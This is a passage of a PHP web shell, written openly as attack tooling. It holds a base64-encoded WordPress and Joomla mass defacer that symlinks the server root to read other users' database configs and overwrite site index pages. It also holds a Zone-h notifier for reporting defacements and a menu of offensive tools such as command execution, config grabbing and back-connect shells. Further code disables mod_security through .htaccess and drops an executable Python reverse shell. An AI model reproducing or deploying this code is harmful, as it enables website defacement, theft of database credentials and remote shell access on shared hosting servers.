ZvcGVuKCRmaWxlbmFtZSwgImEiKTsNCiR3cml0ZSA9IGZwdXRzKCRmcCwgJGZpbmFsLiJcbiIpOw0KZmNsb3NlKCRmcCk7DQp9DQp9DQoNCi8vIG5vdyB0byB3b3JrDQokaW5kZXg9JF9QT1NUWyd0dW5pc2lhJ107DQokdXJsPSgkYmFzZV91cmwpOw0KJGE9ZmlsZSgkYmFzZV91cmwuJy9zdWNjZXNzLnR4dCcpOw0KZWNobyAoIjxjZW50ZXI+PHRhYmxlIGNsYXNzPSdyZXN1bHQnIHdpZHRoPScxMDAlJyBib3JkZXI9MSBjZWxsc3BhY2luZz0xIGNlbGxwYWRpbmc9MT4gIA0KPHRyPjx0aCB3aWR0aD01MCU+ZG9tYWluPC90ZD48dGggd2lkdGg9MjUlPlR5cGU8L3RkPjx0aCB3aWR0aD0yNSU+U3RhdHVzPC90ZD48L3RyPiIpOw0KJGtoYWxlZCA9IGZvcGVuKCdkZWZhY2VkLmh0bWwnLCAnYSsnKTsNCmZvcmVhY2ggKCRhIGFzICRmaW5hbCkgew0KbGlzdCgkdXNlciwgJHNpdGVfdXJsKSA9IGV4cGxvZGUoIjoiLCAkZmluYWwpOw0KJHNpdGVfdXJsdG8gPSBzdWJzdHIoJHNpdGVfdXJsLCAwLCAtMSk7DQovLyBqb29tbGEgc3ltbGlua3MNCiRqb29tbGE9JHVybC4iL3N5bS9yb290L2hvbWUvIi4kdXNlci4iL3B1YmxpY19odG1sL2NvbmZpZ3VyYXRpb24ucGhwIjsNCiRqb29tbGEyPSR1cmwuIi9zeW0vcm9vdC9ob21lLyIuJHVzZXIuIi9wdWJsaWNfaHRtbC9qb29tbGEvY29uZmlndXJhdGlvbi5waHAiOw0KJGpvb21sYTM9JHVybC4iL3N5bS9yb290L2hvbWUvIi4kdXNlci4iL3B1YmxpY19odG1sL3NpdGUvY29uZmlndXJhdGlvbi5waHAiOw0KLy8gd29yZHByZXNzIHN5bWxpbmtzDQokd29yZHByZXNzPSR1cmwuIi9zeW0vcm9vdC9ob21lLyIuJHVzZXIuIi9wdWJsaWNfaHRtbC93cC1jb25maWcucGhwIjsNCiR3b3JkcHJlc3MyPSR1cmwuIi9zeW0vcm9vdC9ob21lLyIuJHVzZXIuIi9wdWJsaWNfaHRtbC9ibG9nL3dwLWNvbmZpZy5waHAiOw0KJHdvcmRwcmVzczM9JHVybC4iL3N5bS9yb290L2hvbWUvIi4kdXNlci4iL3B1YmxpY19odG1sL3dwL3dwLWNvbmZpZy5waHAiOw0KDQovLyBmaXJzdCBqb29tbGEgZ3Vlc3MNCmlmKCRqb29tbGEgJiYgcHJlZ19tYXRjaCgnL2RicHJlZml4L2knLCRqb29tbGEpKXsNCmVjaG8gJzx0cj48dGQ+PGEgaHJlZj0iaHR0cDovLycuJHNpdGVfdXJsdG8uJyIgdGFyZ2V0PSJibGFuayI+Jy4kc2l0ZV91cmx0by4nPC9hPjwvdGQ+JzsNCmVjaG8gJzx0ZCBhbGlnbj0iY2VudGVyIj48Zm9udCBjb2xvcj0icGluayI+Sk9PTUxBPC9mb250PjwvdGQ+JzsNCiRyZXMgPSBpbmRleF9jaGFuZ2VyX2pvb21sYSgkam9vbWxhLCAkaW5kZXgsICRzaXRlX3VybHRvKTsNCmVjaG8gJzx0ZD4nLiRyZXNbJ291dHB1dCddLic8L3RkPic7DQppZigkcmVzWydjb25kJ10pIHsNCmVjaG8gJzx0ZCBhbGlnbj0iY2VudGVyIj48c3BhbiBjbGFzcz0iZ3JlZW4iPkRFRkFDRUQ8L3NwYW4+PC90ZD4nOw0KZndyaXRlKCRraGFsZWQsICdodHRwOi8vJy4kc2l0ZV91cmx0by4nL3RlbXBsYXRlcy8nLiRyZXNbJ3RlbXBsYXRlJ10uJy9pbmRleC5waHA8YnI+Jyk7DQokY291bnQxID0gJGNvdW50MSsxOw0KfSBlbHNlIHsNCmVjaG8gJzx0ZCBhbGlnbj0iY2VudGVyIj48c3BhbiBjbGFzcz0icmVkIj5GQUlMRUQ8L3NwYW4+PC90ZD4nOw0KfQ0KZWNobyAnPC90cj4nOw0KfQ0KLy8gc2Vjb25kIGpvb21sYSBndWVzcw0KaWYoJGpvb21sYTIgJiYgcHJlZ19tYXRjaCgnL2RicHJlZml4L2knLCRqb29tbGEyKSl7DQplY2hvICc8dHI+PHRkPjxhIGhyZWY9Imh0dHA6Ly8nLiRzaXRlX3VybHRvLiciIHRhcmdldD0iYmxhbmsiPicuJHNpdGVfdXJsdG8uJzwvYT48L3RkPic7DQplY2hvICc8dGQgYWxpZ249ImNlbnRlciI+PGZvbnQgY29sb3I9InBpbmsiPkpPT01MQTwvZm9udD48L3RkPic7DQokcmVzID0gaW5kZXhfY2hhbmdlcl9qb29tbGEoJGpvb21sYTIsICRpbmRleCwgJHNpdGVfdXJsdG8pOw0KZWNobyAnPHRkPicuJHJlc1snb3V0cHV0J10uJzwvdGQ+JzsNCmlmKCRyZXNbJ2NvbmQnXSkgew0KZWNobyAnPHRkIGFsaWduPSJjZW50ZXIiPjxzcGFuIGNsYXNzPSJncmVlbiI+REVGQUNFRDwvc3Bhbj48L3RkPic7DQpmd3JpdGUoJGtoYWxlZCwgJ2h0dHA6Ly8nLiRzaXRlX3VybHRvLicvam9vbWxhLycuJHJlc1sndGVtcGxhdGUnXS4nL2luZGV4LnBocDxicj4nKTsNCiRjb3VudDEgPSAkY291bnQxKzE7DQp9IGVsc2Ugew0KZWNobyAnPHRkIGFsaWduPSJjZW50ZXIiPjxzcGFuIGNsYXNzPSJyZWQiPkZBSUxFRDwvc3Bhbj48L3RkPic7DQp9DQplY2hvICc8L3RyPic7DQp9DQovLyB0aGlyZCBqb29tbGEgZ3Vlc3MNCmlmKCRqb29tbGEzICYmIHByZWdfbWF0Y2goJy9kYnByZWZpeC9pJywkam9vbWxhMykpew0KZWNobyAnPHRyPjx0ZD48YSBocmVmPSJodHRwOi8vJy4kc2l0ZV91cmx0by4nIiB0YXJnZXQ9ImJsYW5rIj4nLiRzaXRlX3VybHRvLic8L2E+PC90ZD4nOw0KZWNobyAnPHRkIGFsaWduPSJjZW50ZXIiPjxmb250IGNvbG9yPSJwaW5rIj5KT09NTEE8L2ZvbnQ+PC90ZD4nOw0KJHJlcyA9IGluZGV4X2NoYW5nZXJfam9vbWxhKCRqb29tbGEzLCAkaW5kZXgsICRzaXRlX3VybHRvKTsNCmVjaG8gJzx0ZD4nLiRyZXNbJ291dHB1dCddLic8L3RkPic7DQppZigkcmVzWydjb25kJ10pIHsNCmVjaG8gJzx0ZCBhbGlnbj0iY2VudGVyIj48c3BhbiBjbGFzcz0iZ3JlZW4iPkRFRkFDRUQ8L3NwYW4+PC90ZD4nOw0KZndyaXRlKCRraGFsZWQsICdodHRwOi8vJy4kc2l0ZV91cmx0by4nL3NpdGUvJy4kcmVzWyd0ZW1wbGF0ZSddLicvaW5kZXgucGhwPGJyPicpOw0KJGNvdW50MSA9ICRjb3VudDErMTsNCn0gZWxzZSB7DQplY2hvICc8dGQgYWxpZ249ImNlbnRlciI+PHNwYW4gY2xhc3M9InJlZCI+RkFJTEVEPC9zcGFuPjwvdGQ+JzsNCn0NCmVjaG8gJzwvdHI+JzsNCn0NCg0KLy8gZmlyc3Qgd29yZHByZXNzIGd1ZXNzDQppZigkd29yZHByZXNzICYmIHByZWdfbWF0Y2goJy9EQl9OQU1FL2knLCR3b3JkcHJlc3MpKXsNCmVjaG8gJzx0cj48dGQ+PGEgaHJlZj0iaHR0cDovLycuJHNpdGVfdXJsdG8uJyIgdGFyZ2V0PSJibGFuayI+Jy4kc2l0ZV91cmx0by4nPC9hPjwvdGQ+JzsNCmVjaG8gJzx0ZCBhbGlnbj0iY2VudGVyIj48Zm9udCBjb2xvcj0ieWVsbG93Ij5XT1JEUFJFU1M8L2ZvbnQ+PC90ZD4nOw0KJHJlcyA9IGluZGV4X2NoYW5nZXJfd3AoJHdvcmRwcmVzcywgJGluZGV4KTsNCmVjaG8gJzx0ZD4nLiRyZXNbJ291dHB1dCddLic8L3RkPic7DQppZigkcmVzWydjb25kJ10pIHsNCmVjaG8gJzx0ZCBhbGlnbj0iY2VudGVyIj48c3BhbiBjbGFzcz0iZ3JlZW4iPkRFRkFDRUQ8L3NwYW4+PC90ZD4nOw0KZndyaXRlKCRraGFsZWQsICdodHRwOi8vJy4kc2l0ZV91cmx0by4nL3dwLWNvbnRlbnQvdGhlbWVzLycuJHJlc1sndGVtcGxhdGUnXS4nL2luZGV4LnBocDxicj4nKTsNCiRjb3VudDIrKzsNCn0gZWxzZSB7DQplY2hvICc8dGQgYWxpZ249ImNlbnRlciI+PHNwYW4gY2xhc3M9InJlZCI+RkFJTEVEPC9zcGFuPjwvdGQ+JzsNCn0NCmVjaG8gJzwvdHI+JzsNCiAgICAgICAgfQ0KCQkNCi8vIHNlY29uZCB3b3JkcHJlc3MgZ3Vlc3MNCmlmKCR3b3JkcHJlc3MyICYmIHByZWdfbWF0Y2goJy9EQl9OQU1FL2knLCR3b3JkcHJlc3MyKSl7DQplY2hvICc8dHI+PHRkPjxhIGhyZWY9Imh0dHA6Ly8nLiRzaXRlX3VybHRvLiciIHRhcmdldD0iYmxhbmsiPicuJHNpdGVfdXJsdG8uJzwvYT48L3RkPic7DQplY2hvICc8dGQgYWxpZ249ImNlbnRlciI+PGZvbnQgY29sb3I9InllbGxvdyI+V09SRFBSRVNTPC9mb250PjwvdGQ+JzsNCiRyZXMgPSBpbmRleF9jaGFuZ2VyX3dwKCR3b3JkcHJlc3MyLCAkaW5kZXgpOw0KZWNobyAnPHRkPicuJHJlc1snb3V0cHV0J10uJzwvdGQ+JzsNCmlmKCRyZXNbJ2NvbmQnXSkgew0KZWNobyAnPHRkIGFsaWduPSJjZW50ZXIiPjxzcGFuIGNsYXNzPSJncmVlbiI+REVGQUNFRDwvc3Bhbj48L3RkPic7DQpmd3JpdGUoJGtoYWxlZCwgJ2h0dHA6Ly8nLiRzaXRlX3VybHRvLicvYmxvZy93cC1jb250ZW50L3RoZW1lcy8nLiRyZXNbJ3RlbXBsYXRlJ10uJy9pbmRleC5waHA8YnI+Jyk7DQokY291bnQyKys7DQp9IGVsc2Ugew0KZWNobyAnPHRkIGFsaWduPSJjZW50ZXIiPjxzcGFuIGNsYXNzPSJyZWQiPkZBSUxFRDwvc3Bhbj48L3RkPic7DQp9DQplY2hvICc8L3RyPic7DQogICAgICAgIH0NCgkJDQovLyB0aGlyZCB3b3JkcHJlc3MgZ3Vlc3MNCmlmKCR3b3JkcHJlc3MzICYmIHByZWdfbWF0Y2goJy9EQl9OQU1FL2knLCR3b3JkcHJlc3MzKSl7DQplY2hvICc8dHI+PHRkPjxhIGhyZWY9Imh0dHA6Ly8nLiRzaXRlX3VybHRvLiciIHRhcmdldD0iYmxhbmsiPicuJHNpdGVfdXJsdG8uJzwvYT48L3RkPic7DQplY2hvICc8dGQgYWxpZ249ImNlbnRlciI+PGZvbnQgY29sb3I9InllbGxvdyI+V09SRFBSRVNTPC9mb250PjwvdGQ+JzsNCiRyZXMgPSBpbmRleF9jaGFuZ2VyX3dwKCR3b3JkcHJlc3MzLCAkaW5kZXgpOw0KZWNobyAnPHRkPicuJHJlc1snb3V0cHV0J10uJzwvdGQ+JzsNCmlmKCRyZXNbJ2NvbmQnXSkgew0KZWNobyAnPHRkIGFsaWduPSJjZW50ZXIiPjxzcGFuIGNsYXNzPSJncmVlbiI+REVGQUNFRDwvc3Bhbj48L3RkPic7DQpmd3JpdGUoJGtoYWxlZCwgJ2h0dHA6Ly8nLiRzaXRlX3VybHRvLicvd3Avd3AtY29udGVudC90aGVtZXMvJy4kcmVzWyd0ZW1wbGF0ZSddLicvaW5kZXgucGhwPGJyPicpOw0KJGNvdW50MisrOw0KfSBlbHNlIHsNCmVjaG8gJzx0ZCBhbGlnbj0iY2VudGVyIj48c3BhbiBjbGFzcz0icmVkIj5GQUlMRUQ8L3NwYW4+PC90ZD4nOw0KfQ0KZWNobyAnPC90cj4nOw0KICAgICAgICB9DQoJDQp9DQplY2hvICc8L3RhYmxlPic7DQplY2hvICc8aHIvPic7DQplY2hvICdUb3RhbCBEZWZhY2VkID0gJy4oJGNvdW50MSskY291bnQyKS4nIChKT09NTEEgPSAnLiRjb3VudDEuJywgV09SRFBSRVNTID0gJy4kY291bnQyLicpPGJyIC8+JzsNCmVjaG8gJzxhIGhyZWY9ImRlZmFjZWQuaHRtbCIgdGFyZ2V0PSJfYmxhbmsiPlNob3cgQWxsPC9hPjxiciAvPic7DQp9DQoNCmVsc2VpZigkX1BPU1RbJ21vZGUnXT09MSkgew0KICAgIEBta2Rpcignc3ltJywwNzc3KTsNCiAgICAkd3IgID0gIk9wdGlvbnMgYWxsIFxuIERpcmVjdG9yeUluZGV4IFN1eC5odG1sIFxuIEFkZFR5cGUgdGV4dC9wbGFpbiAucGhwIFxuIEFkZEhhbmRsZXIgc2VydmVyLXBhcnNlZCAucGhwIFxuICBBZGRUeXBlIHRleHQvcGxhaW4gLmh0bWwgXG4gQWRkSGFuZGxlciB0eHQgLmh0bWwgXG4gUmVxdWlyZSBOb25lIFxuIFNhdGlzZnkgQW55IjsNCiAgICAkZnAgPSBAZm9wZW4gKCdzeW0vLmh0YWNjZXNzJywndycpOw0KICAgIGZ3cml0ZSgkZnAsICR3cik7DQogICAgQHN5bWxpbmsoJy8nLCdzeW0vcm9vdCcpOw0KICAgICRkb21pbmlvcyA9IEBmaWxlX2dldF9jb250ZW50cygiL2V0Yy9uYW1lZC5jb25mIik7DQogICAgQHByZWdfbWF0Y2hfYWxsKCcvLio/em9uZSAiKC4qPykiIHsvJywgJGRvbWluaW9zLCAkb3V0KTsNCiAgICAkb3V0WzFdID0gYXJyYXlfdW5pcXVlKCRvdXRbMV0pOw0KICAgICRudW1lcm9fZG9taW5pb3MgPSBjb3VudCgkb3V0WzFdKTsNCiAgICBlY2hvICJUb3RhbCBkb21haW5zOiAkbnVtZXJvX2RvbWluaW9zIDxicj48YnIgLz4iOw0KICAgICRkZWYgPSAkX1BPU1RbJ3R1bmlzaWEnXTsNCiAgICAkYmFzZV91cmwgPSAnaHR0cDovLycuJF9TRVJWRVJbJ1NFUlZFUl9OQU1FJ10uZGlybmFtZSgkX1NFUlZFUlsnU0NSSVBUX05BTUUnXSkuJy9zeW0vcm9vdC9ob21lLyc7DQogICAgJG91dHB1dCA9IGZvcGVuKCdkZWZhY2VkLmh0bWwnLCAnYSsnKTsNCgllY2hvICgiPGNlbnRlcj48dGFibGUgY2xhc3M9J3Jlc3VsdCcgd2lkdGg9JzEwMCUnIGJvcmRlcj0xIGNlbGxzcGFjaW5nPTEgY2VsbHBhZGluZz0xPiAgDQoJPHRyPjx0aCB3aWR0aD01MCU+ZG9tYWluPC90ZD48dGggd2lkdGg9MjUlPlR5cGU8L3RkPjx0aCB3aWR0aD0yNSU+U3RhdHVzPC90ZD48L3RyPiIpOyAgIA0KICAgJGogPSAxOw0KICAgICRzdCA9IChpc3NldCgkX0dFVFsnc3QnXSkgJiYgJF9HRVRbJ3N0J10hPScnKSA/ICRfR0VUWydzdCddIDogMDsNCiAgICBmb3IoJGkgPSAkc3Q7ICRpIDw9ICRudW1lcm9fZG9taW5pb3M7ICRpKyspDQogICAgew0KICAgICAgICAkZG9tYWluID0gJG91dFsxXVskaV07DQogICAgICAgICRkb25vX2FycXVpdm8gPSBAZmlsZW93bmVyKCIvZXRjL3ZhbGlhc2VzLyIuJGRvbWFpbik7DQogICAgICAgICRpbmZvcyA9IEBwb3NpeF9nZXRwd3VpZCgkZG9ub19hcnF1aXZvKTsNCiAgICAgICAgDQogICAgICAgIGlmKCRpbmZvc1snbmFtZSddIT0ncm9vdCcpIHsNCiRjb25maWcwMSA9IEBmaWxlX2dldF9jb250ZW50cygkYmFzZV91cmwuJGluZm9zWyduYW1lJ10uIi9wdWJsaWNfaHRtbC9jb25maWd1cmF0aW9uLnBocCIpOw0KJGNvbmZpZzAwMSA9IEBmaWxlX2dldF9jb250ZW50cygkYmFzZV91cmwuJGluZm9zWyduYW1lJ10uIi9wdWJsaWNfaHRtbC9qb29tbGEvY29uZmlndXJhdGlvbi5waHAiKTsNCiRjb25maWcwMiA9IEBmaWxlX2dldF9jb250ZW50cygkYmFzZV91cmwuJGluZm9zWyduYW1lJ10uIi9wdWJsaWNfaHRtbC93cC1jb25maWcucGhwIik7DQokY29uZmlnMDMgPSBAZmlsZV9nZXRfY29udGVudHMoJGJhc2VfdXJsLiRpbmZvc1snbmFtZSddLiIvcHVibGljX2h0bWwvYmxvZy93cC1jb25maWcucGhwIik7DQoNCmlmKCRjb25maWcwMDEgJiYgcHJlZ19tYXRjaCgnL2RicHJlZml4L2knLCRjb25maWcwMDEpKXsNCmVjaG8gJzx0cj48dGQ+PGEgaHJlZj0iaHR0cDovLycuJGRvbWFpbi4nIiB0YXJnZXQ9ImJsYW5rIj4nLiRkb21haW4uJzwvYT48L3RkPic7DQplY2hvICc8dGQgYWxpZ249ImNlbnRlciI+PGZvbnQgY29sb3I9InBpbmsiPkpPT01MQTwvZm9udD48L3RkPic7DQokcmVzID0gaW5kZXhfY2hhbmdlcl9qb29tbGEoJGNvbmZpZzAwMSwgJGRlZiwgJGRvbWFpbik7DQplY2hvICc8dGQ+Jy4kcmVzWydvdXRwdXQnXS4nPC90ZD4nOw0KaWYoJHJlc1snY29uZCddKSB7DQplY2hvICc8dGQgYWxpZ249ImNlbnRlciI+PHNwYW4gY2xhc3M9ImdyZWVuIj5ERUZBQ0VEPC9zcGFuPjwvdGQ+JzsNCmZ3cml0ZSgkb3V0cHV0LCAnaHR0cDovLycuJGRvbWFpbi4iPGJyPiIpOw0KJGNvdW50MSA9ICRjb3VudCsxOw0KfSBlbHNlIHsNCmVjaG8gJzx0ZCBhbGlnbj0iY2VudGVyIj48c3BhbiBjbGFzcz0icmVkIj5GQUlMRUQ8L3NwYW4+PC90ZD4nOw0KfQ0KZWNobyAnPC90cj4nOw0KfQ0KICAgICAgICANCmlmKCRjb25maWcwMSAmJiBwcmVnX21hdGNoKCcvZGJwcmVmaXgvaScsJGNvbmZpZzAxKSl7DQplY2hvICc8dHI+PHRkPjxhIGhyZWY9Imh0dHA6Ly8nLiRkb21haW4uJyIgdGFyZ2V0PSJibGFuayI+Jy4kZG9tYWluLic8L2E+PC90ZD4nOw0KZWNobyAnPHRkIGFsaWduPSJjZW50ZXIiPjxmb250IGNvbG9yPSJwaW5rIj5KT09NTEE8L2ZvbnQ+PC90ZD4nOw0KJHJlcyA9IGluZGV4X2NoYW5nZXJfam9vbWxhKCRjb25maWcwMSwgJGRlZiwgJGRvbWFpbik7DQplY2hvICc8dGQ+Jy4kcmVzWydvdXRwdXQnXS4nPC90ZD4nOw0KaWYoJHJlc1snY29uZCddKSB7DQplY2hvICc8dGQgYWxpZ249ImNlbnRlciI+PHNwYW4gY2xhc3M9ImdyZWVuIj5ERUZBQ0VEPC9zcGFuPjwvdGQ+JzsNCmZ3cml0ZSgkb3V0cHV0LCAnaHR0cDovLycuJGRvbWFpbi4iPGJyPiIpOw0KJGNvdW50MSA9ICRjb3VudCsxOw0KfSBlbHNlIHsNCmVjaG8gJzx0ZCBhbGlnbj0iY2VudGVyIj48c3BhbiBjbGFzcz0icmVkIj5GQUlMRUQ8L3NwYW4+PC90ZD4nOw0KfQ0KZWNobyAnPC90cj4nOw0KfQ0KDQppZigkY29uZmlnMDIgJiYgcHJlZ19tYXRjaCgnL0RCX05BTUUvaScsJGNvbmZpZzAyKSl7DQplY2hvICc8dHI+PHRkPjxhIGhyZWY9Imh0dHA6Ly8nLiRkb21haW4uJyIgdGFyZ2V0PSJibGFuayI+Jy4kZG9tYWluLic8L2E+PC90ZD4nOw0KZWNobyAnPHRkIGFsaWduPSJjZW50ZXIiPjxmb250IGNvbG9yPSJ5ZWxsb3ciPldPUkRQUkVTUzwvZm9udD48L3RkPic7DQokcmVzID0gaW5kZXhfY2hhbmdlcl93cCgkY29uZmlnMDIsICRkZWYpOw0KZWNobyAnPHRkPicuJHJlc1snb3V0cHV0J10uJzwvdGQ+JzsNCmlmKCRyZXNbJ2NvbmQnXSkgew0KZWNobyAnPHRkIGFsaWduPSJjZW50ZXIiPjxzcGFuIGNsYXNzPSJncmVlbiI+REVGQUNFRDwvc3Bhbj48L3RkPic7DQpmd3JpdGUoJG91dHB1dCwgJ2h0dHA6Ly8nLiRkb21haW4uIjxicj4iKTsNCiRjb3VudDIgPSAkY291bnQyKzE7DQp9IGVsc2Ugew0KZWNobyAnPHRkIGFsaWduPSJjZW50ZXIiPjxzcGFuIGNsYXNzPSJyZWQiPkZBSUxFRDwvc3Bhbj48L3RkPic7DQp9DQplY2hvICc8L3RyPic7DQp9DQppZigkY29uZmlnMDMgJiYgcHJlZ19tYXRjaCgnL0RCX05BTUUvaScsJGNvbmZpZzAzKSl7DQplY2hvICc8dHI+PHRkPjxhIGhyZWY9Imh0dHA6Ly8nLiRkb21haW4uJyIgdGFyZ2V0PSJibGFuayI+Jy4kZG9tYWluLic8L2E+PC90ZD4nOw0KZWNobyAnPHRkIGFsaWduPSJjZW50ZXIiPjxmb250IGNvbG9yPSJ5ZWxsb3ciPldPUkRQUkVTUzwvZm9udD48L3RkPic7DQokcmVzID0gaW5kZXhfY2hhbmdlcl93cCgkY29uZmlnMDMsICRkZWYpOw0KZWNobyAnPHRkPicuJHJlc1snb3V0cHV0J10uJzwvdGQ+JzsNCmlmKCRyZXNbJ2NvbmQnXSkgew0KZWNobyAnPHRkIGFsaWduPSJjZW50ZXIiPjxzcGFuIGNsYXNzPSJncmVlbiI+REVGQUNFRDwvc3Bhbj48L3RkPic7DQpmd3JpdGUoJG91dHB1dCwgJ2h0dHA6Ly8nLiRkb21haW4uIjxicj4iKTsNCiRjb3VudDIgPSAkY291bnQyKzE7DQp9IGVsc2UgeyAgICANCmVjaG8gJzx0ZCBhbGlnbj0iY2VudGVyIj48c3BhbiBjbGFzcz0icmVkIj5GQUlMRUQ8L3NwYW4+PC90ZD4nOw0KfQ0KZWNobyAnPC90cj4nOw0KfQ0KICAgICAgICB9DQogICAgfQ0KICAgIGVjaG8gJzwvdGFibGU+JzsNCiAgICBlY2hvICc8aHIvPic7DQogICAgZWNobyAnVG90YWwgRGVmYWNlZCA9ICcuJGNvdW50MSArICRjb3VudDIuJyAoSk9PTUxBID0gJy4kY291bnQxLicsIFdPUkRQUkVTUyA9ICcuJGNvdW50Mi4nKTxiciAvPic7DQoJZWNobyAnPGEgaHJlZj0iZGVmYWNlZC5odG1sIiB0YXJnZXQ9Il9ibGFuayI+U2hvdyBBbGw8L2E+PGJyIC8+JzsNCn0NCmVsc2Ugew0KZWNobyAnDQo8dGFibGU+DQo8Zm9ybSBtZXRob2Q9InBvc3QiPg0KPHRyPg0KCTx0ZD5pbmRleCB1cmwgOiA8L3RkPg0KCTx0ZD48aW5wdXQgdHlwZT0idGV4dCIgc2l6ZT0iNjAiIG5hbWU9InR1bmlzaWEiIHBsYWNlaG9sZGVyPSJwdXQgeW91ciBpbmRleCB1cmwgaGVyZSAhIj48L3RkPg0KPC90cj4NCjx0cj4NCgk8dGQ+dXNlIDogPC90ZD4NCjwvdHI+DQo8dHI+DQoJPHRkPjxpbnB1dCB0eXBlPSJyYWRpbyIgdmFsdWU9IjEiIG5hbWU9Im1vZGUiPjwvdGQ+PHRkPi9ldGMvbmFtZWQuY29uZjwvdGQ+DQo8L3RyPg0KPHRyPg0KCTx0ZD48aW5wdXQgdHlwZT0icmFkaW8iIGNoZWNrZWQ9ImNoZWNrZWQiIHZhbHVlPSIyIiBuYW1lPSJtb2RlIj48L3RkPjx0ZD4vdmFyL25hbWVkPC90ZD4NCjwvdHI+DQo8dHI+DQo8dGQ+PGJyPjxjZW50ZXI+PGlucHV0IHR5cGU9InN1Ym1pdCIgbmFtZT0idHVuaXNpYV9kZWZhY2UiIHZhbHVlPSJEZWZhY2UiPjwvdGQ+DQo8L3RyPg0KPC9mb3JtPg0KPC9jZW50ZXI+DQo8L2JvZHk+DQo8L2h0bWw+DQonOw0KfQ0KPz4=';
7412$file = fopen("massjmlawrdprsss.php" ,"w+");
7413$write = fwrite ($file ,base64_decode($gfgf4fff));
7414fclose($file);
7415
7416echo "<br><center><span style='font-size:30px; font-family:Fredericka the Great; color:#009900'>Wordpress & Joomla Mass Defacer</font></b><center><br><iframe src=massjmlawrdprsss.php width=75% height=60% frameborder=0></iframe></div></center>";
7417}
7418
7419
7420// tools
7421if(isset($_GET['action']) && $_GET['action'] == 'zone-h' && !empty($_POST['hackmode'])){
7422if($_POST['SendNowToZoneH'])
7423{
7424echo '<center>';
7425ob_start();
7426$sub = get_loaded_extensions();
7427if(!in_array("curl", $sub)){die('[-] Curl Is Not Supported !! ');}
7428$hacker = $_POST['defacer'];
7429$method = $_POST['hackmode'];
7430$neden = $_POST['reason'];
7431$site = $_POST['domain'];
7432
7433if (empty($hacker)){die ("[-] You Must Fill the Attacker name !");}
7434elseif($method == "--------SELECT--------") {die("[-] You Must Select The Method !");}
7435elseif($neden == "--------SELECT--------") {die("[-] You Must Select The Reason");}
7436elseif(empty($site)) {die("[-] You Must Inter the Sites List ! ");}
7437$i = 0;
7438$sites = explode("\n", $site);
7439while($i < count($sites))
7440{
7441if(substr($sites[$i], 0, 4) != "http") {$sites[$i] = "http://".$sites[$i];}
7442ZoneH("http://zone-h.org/notify/single", $hacker, $method, $neden, $sites[$i]);
7443echo "Site : ".$sites[$i]." Defaced !\n";
7444++$i;
7445}
7446echo "[+] Sending Sites To Zone-H Has Been Completed Successfully !! ";
7447}
7448echo '</center>';
7449}
7450if(isset($_GET['action']) && $_GET['action'] == 'pythnonbakcncete'){
7451echo '<center><b class="conte">
7452<a href="?action=mysqslsls">MySQL & PostgreSql Connect</a> -
7453<a href="?action=cmd">Command Execution</a> -
7454<a href="?action=com64">Base64 Command</a> -
7455<a href="?action=vgrab">Config Grabber</a> -
7456<a href="?action=subdomainchkrezes">Subdomain Checker</a> -
7457<a href="?action=joomlarvrssrvetll">Joomla Reverse Server</a> -
7458<a href="?action=wordddprssrrrvrse">Wordpress Reverse Server</a> -
7459<a href="?action=cari">Find Directory Writable/Readable</a> -
7460<a href="?action=zonh">Zone-h Notifier</a> -
7461<a href="?action=shhhshell">Shtml Command Shell</a> -
7462<a href="?action=beko">Back connect Simple</a> -
7463<a href="?action=rubybckconnnect">Ruby BackConnect</a> -
7464<a href="?action=prlbckacnonect">Perl BackConnect</a> -
7465<a href="?action=pythnonbakcncete">Python BackConnect</a> -
7466<a href="?action=exploit">Exploit</a> -
7467<a href="?action=whmcskillrer">Whcms Killer</a> -
7468<a href="?action=webmllllpwdchnger">Webmail Password Changer</a> -
7469<a href="?action=wpcdrfex">Wordpress Csrf Exploit</a>
7470</center>
7471</b>';
7472
7473mkdir('pyrevrshell', 0755);
7474chdir('pyrevrshell');
7475$seropil = ".htaccess";
7476$angelinalll = "$seropil";
7477$shitttyz = fopen ($angelinalll , 'w') or die ("shitttyz açılamadı!");
7478$dffvfdgfg = "<IfModule mod_security.c>
7479SecFilterEngine Off
7480SecFilterScanPOST Off
7481</IfModule>";
7482fwrite ( $shitttyz , $dffvfdgfg ) ;
7483fclose ($shitttyz);
7484//extract python reverse script
7485$vkffhd = 'IyEvdXNyL2Jpbi9weXRob24NCmltcG9ydCBzeXMNCmltcG9ydCBvcw0KaW1wb3J0IHNvY2tldA0KaW1wb3J0IHB0eQ0KIA0Kc2hlbGwgPSAiL2Jpbi9zaCINCiANCmRlZiB1c2FnZShwcm9ncmFtbmFtZSk6DQpwcmludCAieXRob24gY29ubmVjdC1iYWNrIGRvb3IiDQpwcmludCAiVXNhZ2U6ICVzIDxjb25uX2JhY2tfaXA+IDxwb3J0PiIgJSBwcm9ncmFtbmFtZQ0KIA0KZGVmIG1haW4oKToNCmlmIGxlbihzeXMuYXJndikgIT0zOg0KdXNhZ2Uoc3lzLmFyZ3ZbMF0pDQpzeXMuZXhpdCgxKQ0KIA0KcyA9IHNvY2tldC5zb2NrZXQoc29ja2V0LkFGX0lORVQsc29ja2V0LlNPQ0tfU1RSRUFNKQ0KIA0KdHJ5Og0Kcy5jb25uZWN0KChzb2NrZXQuZ2V0aG9zdGJ5bmFtZShzeXMuYXJndlsxXSksaW50KHN5cy5hcmd2WzJdKSkpDQpwcmludCAiWytdQ29ubmVjdCBPSy4iDQpleGNlcHQ6DQpwcmludCAiWy1dQ2FuJ3QgY29ubmVjdCINCnN5cy5leGl0KDIpDQogDQpvcy5kdXAyKHMuZmlsZW5vKCksMCkNCm9zLmR1cDIocy5maWxlbm8oKSwxKQ0Kb3MuZHVwMihzLmZpbGVubygpLDIpDQpnbG9iYWwgc2hlbGwNCm9zLnVuc2V0ZW52KCJISVNURklMRSIpDQpvcy51bnNldGVudigiSElTVEZJTEVTSVpFIikNCnB0eS5zcGF3bihzaGVsbCkNCnMuY2xvc2UoKQ0KIA0KaWYgX19uYW1lX18gPT0gIl9fbWFpbl9fIjoNCm1haW4oKQ==';
7486
7487$jkol = fopen("reversesh.py" ,"w+");
7488$write = fwrite ($jkol ,base64_decode($vkffhd));
7489fclose($jkol);
7490chmod("reversesh.py",0755);
7491
7492//extract php command shell
